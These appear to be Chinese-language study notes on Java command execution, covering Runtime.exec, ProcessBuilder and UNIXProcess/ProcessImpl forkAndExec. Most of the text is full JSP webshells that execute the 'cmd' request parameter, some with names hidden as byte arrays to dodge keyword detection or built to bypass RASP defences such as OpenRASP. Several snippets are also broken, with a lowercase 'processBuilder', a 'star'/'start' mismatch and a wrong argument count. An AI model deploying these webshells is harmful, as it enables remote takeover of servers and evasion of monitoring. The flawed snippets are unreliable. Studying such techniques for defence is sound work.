java 学习笔记

依旧是参考了

1
https://www.javasec.org/javase/CommandExecution/

协会很多人在推荐的文章

Java本地命令执行

平时其实利用的已经很多了就不再赘述了,简单看了看就过掉了

Runtime命令执行

在Java中我们通常会使用java.lang.Runtime类的exec方法来执行本地系统命令

跟着文档学习一下这个方法的调用链如下:

1
2
3
4
5
6
7
java.lang.UNIXProcess.<init>(UNIXProcess.java:247)
java.lang.ProcessImpl.start(ProcessImpl.java:134)
java.lang.ProcessBuilder.start(ProcessBuilder.java:1029)
java.lang.Runtime.exec(Runtime.java:620)
java.lang.Runtime.exec(Runtime.java:450)
java.lang.Runtime.exec(Runtime.java:347)
org.apache.jsp.runtime_002dexec2_jsp._jspService(runtime_002dexec2_jsp.java:118)

通过观察整个调用链我们可以清楚的看到exec方法并不是命令执行的最终点,执行逻辑大致是:

1
2
3
4
5
Runtime.exec(xxx)
java.lang.ProcessBuilder.start()
new java.lang.UNIXProcess(xxx)
UNIXProcess构造方法中调用了forkAndExec(xxx) native方法。
forkAndExec调用操作系统级别fork->exec(*nix)/CreateProcess(Windows)执行命令并返回fork/CreateProcess的PID。

切记Runtime和ProcessBuilder并不是程序的最终执行点!

反射Runtime命令执行

就像前两天所学的 如果不希望代码出现相关的关键字就可以用反射代替

文章给了一个jsp脚本,之前一直想学学,正好理解一下其中的部分语法,以及如何部署

首先jsp脚本是 JSP (JavaServer Pages) 是一个脚本文件,它允许在服务器端生成动态网页。

我们首先创造初一个JSP文件,然后利用反射来执行命令,如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
<%@ page contentType="text/html;charset=UTF-8" language="java" %>
<%@ page import="java.io.InputStream" %>
<%@ page import="java.lang.reflect.Method" %>
<%@ page import="java.util.Scanner" %>

<%
String str = request.getParameter("str");

// 定义"java.lang.Runtime"字符串变量
String rt = new String(new byte[]{106, 97, 118, 97, 46, 108, 97, 110, 103, 46, 82, 117, 110, 116, 105, 109, 101});
//动态构造类名:通过字节数组 new byte[]{106, 97, 118, 97, 46, 108, 97, 110, 103, 46, 82, 117, 110, 116, 105, 109, 101} 动态生成字符串 "java.lang.Runtime"。该数组是 ASCII 编码形式的字节序列,表示 "java.lang.Runtime" 字符串。


// 反射java.lang.Runtime类获取Class对象
Class<?> c = Class.forName(rt);

// 反射获取Runtime类的getRuntime方法
Method m1 = c.getMethod(new String(new byte[]{103, 101, 116, 82, 117, 110, 116, 105, 109, 101}));
//反射获取 getRuntime 方法:通过字节数组 new byte[]{103, 101, 116, 82, 117, 110, 116, 105, 109, 101} 动态生成字符串 "getRuntime",然后使用反射获取 Runtime 类的 getRuntime 方法。getRuntime 返回当前 Java 虚拟机的运行时对象。

// 反射获取Runtime类的exec方法
Method m2 = c.getMethod(new String(new byte[]{101, 120, 101, 99}), String.class);

// 反射调用Runtime.getRuntime().exec(xxx)方法
Object obj2 = m2.invoke(m1.invoke(null, new Object[]{}), new Object[]{str});

// 反射获取Process类的getInputStream方法
Method m = obj2.getClass().getMethod(new String(new byte[]{103, 101, 116, 73, 110, 112, 117, 116, 83, 116, 114, 101, 97, 109}));
m.setAccessible(true);

// 获取命令执行结果的输入流对象:p.getInputStream()并使用Scanner按行切割成字符串
Scanner s = new Scanner((InputStream) m.invoke(obj2, new Object[]{})).useDelimiter("\\A");
String result = s.hasNext() ? s.next() : "";

// 输出命令执行结果
out.println(result);
%>=

在webapps里新增myapp目录,写入test.jsp文件


启动服务

根据文件内容对cmd进行传参 可以看到顺利执行命令。

ProcessBuilder命令执行

学习Runtime命令执行的时候我们讲到其最终exec方法会调用ProcessBuilder来执行本地命令,那么我们只需跟踪下Runtime的exec方法就可以知道如何使用ProcessBuilder来执行系统命令了。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
<%=Runtime.getRuntime().exec(request.getParameter("cmd"))%>
<%--
Created by IntelliJ IDEA.
User: yz
Date: 2019/12/5
Time: 6:21 下午
To change this template use File | Settings | File Templates.
--%>
<%@ page contentType="text/html;charset=UTF-8" language="java" %>
<%@ page import="java.io.ByteArrayOutputStream" %>
<%@ page import="java.io.InputStream" %>
<%
InputStream in = new processBuilder(request.getParameter("cmd")).start().getInputStream();
ByteArrayOutputStream baos = new ByteArrayOutputStream();
byte[] b = new byte[1024];
int a = -1;

while ((a = in.read(b)) != -1) {
baos.write(b, 0, a);
}

out.write("<pre>" + new String(baos.toByteArray()) + "</pre>");
%>

主要变化在于

1
2
InputStream in = new ProcessBuilder(request.getParameterValues("cmd")).start().getInputStream();

讲解一下相关语法

1
2
request.getParameterValues("cmd")

getParameterValues(“cmd”): 这是 HttpServletRequest 类的一个方法,用于获取请求中的多个值(如参数数组)。”cmd” 是请求参数的名称。这个方法返回一个字符串数组,包含了所有与 “cmd” 参数对应的值(即如果在 URL 或请求中传递了 cmd 参数,它返回该参数的所有值)。

1
new ProcessBuilder(request.getParameterValues("cmd"))

ProcessBuilder: ProcessBuilder 是 Java 中用于创建和管理操作系统进程的类。它提供了一种启动和管理外部进程(如系统命令、程序等)的方法。

new ProcessBuilder(…): 通过 ProcessBuilder 的构造函数创建一个新的 ProcessBuilder 实例,并传递命令作为参数。这里,命令由 request.getParameterValues(“cmd”) 提供的字符串数组构成。也就是说,request.getParameterValues(“cmd”) 返回的数组会作为命令行参数传递给 ProcessBuilder。

ProcessBuilder 使用的是命令行参数的数组,例如 new ProcessBuilder(“ls”, “-l”),该代码会在类 Unix 系统中执行 ls -l 命令

执行一个比较复杂的命令

UNIXProcess/ProcessImpl

UNIXProcess和ProcessImpl可以理解本就是一个东西,因为在JDK9的时候把UNIXProcess合并到了ProcessImpl当中了。

UNIXProcess和ProcessImpl其实就是最终调用native执行系统命令的类,这个类提供了一个叫forkAndExec的native方法,如方法名所述主要是通过fork&exec来执行本地系统命令。

UNIXProcess类的forkAndExec示例:

1
2
3
4
5
6
7
8
9
private native int forkAndExec(int mode, byte[] helperpath,
byte[] prog,
byte[] argBlock, int argc,
byte[] envBlock, int envc,
byte[] dir,
int[] fds,
boolean redirectErrorStream)
throws IOException;

讲解一下这个方法:
native:表示这是一个本地方法,方法体在 Java 中没有实现,而是在底层的 C/C++ 库中(通常通过 JNI — Java Native Interface)。

剩下的参数都是指定一些变量传递参数。

1
很多人对Java本地命令执行的理解不够深入导致了他们无法定位到最终的命令执行点,去年给OpenRASP提过这个问题,他们只防御到了ProcessBuilder.start()方法,而我们只需要直接调用最终执行的UNIXProcess/ProcessImpl实现命令执行或者直接反射UNIXProcess/ProcessImpl的forkAndExec方法就可以绕过RASP实现命令执行了。

学到了(

反射UNIXProcess/ProcessImpl执行本地命令

同样是利用反射这个方法绕过关键字可以执行该命令

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
<%@ page contentType="text/html;charset=UTF-8" language="java"%>
<%@ page import="java.io.*"%>
<%@ page import="java.lang.reflect.Constructor"%>
<%@ page import="java.lang.reflect.Method"%>

<%!
byte[] toCString(String s){
if(s == null){
return null;
}
byte[] bytes=s.getBytes();
byte[] result=new byte[bytes.length+1];
<!-- 长度比原始字节数组多 1,用于在末尾添加 \0 结尾。 -->
System.arraycopy(bytes,0,result,0,bytes.length);
<!-- 把 bytes 中的内容复制到 result 中 -->
result[result.length-1]=(byte)0;
return result;
}
InputStream star(String[] strs)throws Exception{
<!-- java.lang.UNIXProcess -->
String unixClass=new String(new byte[]{106, 97, 118, 97, 46, 108, 97, 110, 103, 46, 85, 78, 73, 88, 80, 114, 111, 99, 101, 115, 115});
<!-- java.lang.ProcessImpl -->
String processClass = new String(new byte[]{106, 97, 118, 97, 46, 108, 97, 110, 103, 46, 80, 114, 111, 99, 101, 115, 115, 73, 109, 112, 108});
Class clazz =null;
<!-- // 反射创建UNIXProcess或者ProcessImpl -->
try{
clazz=Class.forName(unixClass);
}catch(Exception e){
clazz=Class.forName(processClass);
}
<!-- 获取UNIXProcess或者ProcessImpl的构造方法 -->
Constructor<?> constructor = clazz.getDeclaredConstructor()[0];
constructor.setAccessible(true);
assert strs != null && strs.length > 0;

// Convert arguments to a contiguous block; it's easier to do
// memory management in Java than in C.
byte[][] args = new byte[strs.length - 1][];

int size = args.length; // For added NUL bytes
for (int i = 0; i < args.length; i++) {
args[i] = strs[i + 1].getBytes();
size += args[i].length;
}

byte[] argBlock = new byte[size];
int i = 0;

for (byte[] arg : args) {
System.arraycopy(arg, 0, argBlock, i, arg.length);
i += arg.length + 1;
// No need to write NUL bytes explicitly
}

int[] envc = new int[1];
int[] std_fds = new int[]{-1, -1, -1};

FileInputStream f0 = null;
FileOutputStream f1 = null;
FileOutputStream f2 = null;

// In theory, close() can throw IOException
// (although it is rather unlikely to happen here)
try {
if (f0 != null) f0.close();
} finally {
try {
if (f1 != null) f1.close();
} finally {
if (f2 != null) f2.close();
}
}

// 创建UNIXProcess或者ProcessImpl实例
Object object = constructor.newInstance(
toCString(strs[0]), argBlock, args.length,
null, envc[0], null, std_fds, false,false
);

// 获取命令执行的InputStream
Method inMethod = object.getClass().getDeclaredMethod("getInputStream");
inMethod.setAccessible(true);

return (InputStream) inMethod.invoke(object);
}

String inputStreamToString(InputStream in, String charset) throws IOException {
try {
if (charset == null) {
charset = "UTF-8";
}

ByteArrayOutputStream out = new ByteArrayOutputStream();
int a = 0;
byte[] b = new byte[1024];

while ((a = in.read(b)) != -1) {
out.write(b, 0, a);
}

return new String(out.toByteArray());
} catch (IOException e) {
throw e;
} finally {
if (in != null)
in.close();
}
}
%>
<%
String[] str = request.getParameterValues("cmd");

if (str != null) {
InputStream in = start(str);
String result = inputStreamToString(in, "UTF-8");
out.println("<pre>");
out.println(result);
out.println("</pre>");
out.flush();
out.close();
}
%>

这个语法每次看到还是容易忘再标记一下

1
2
3
4
5
6
Constructor<?> 是什么意思?

这是 Java 反射机制中的一种泛型写法,表示:

这是一个构造方法(Constructor)对象,它可以用来构造一个 未知类型(?)的对象实例。

执行成功
值得注意的是 这句代码在文档中有点问题,应该有9个参数,文档只有8个
Object object = constructor.newInstance

forkAndExec命令执行-Unsafe+反射+Native方法调用

不禁感叹 绕过的方法怎么能有这么多!!!

如果RASP把UNIXProcess/ProcessImpl类的构造方法给拦截了我们是不是就无法执行本地命令了?其实我们可以利用Java的几个特性就可以绕过RASP执行本地命令了,具体步骤如下:

1
2
3
4
5
使用sun.misc.Unsafe.allocateInstance(Class)特性可以无需new或者newInstance创建UNIXProcess/ProcessImpl类对象。
反射UNIXProcess/ProcessImpl类的forkAndExec方法。
构造forkAndExec需要的参数并调用。
反射UNIXProcess/ProcessImpl类的initStreams方法初始化输入输出结果流对象。
反射UNIXProcess/ProcessImpl类的getInputStream方法获取本地命令执行结果(如果要输出流、异常流反射对应方法即可)。

首先了解到了

1
2
RASP 是什么?
RASP(Runtime Application Self-Protection)是一个应用程序自我保护的技术,它在应用程序运行时进行安全防护,旨在检测并防止各种应用层攻击。RASP 通过监控应用程序的行为,并实时拦截恶意活动,提供一种强大的防护机制。

JNI命令执行

ava可以通过JNI的方式调用动态链接库,我们只需要在动态链接库中写一个本地命令执行的方法就行了。

后面学详细学到这里就只是了解了。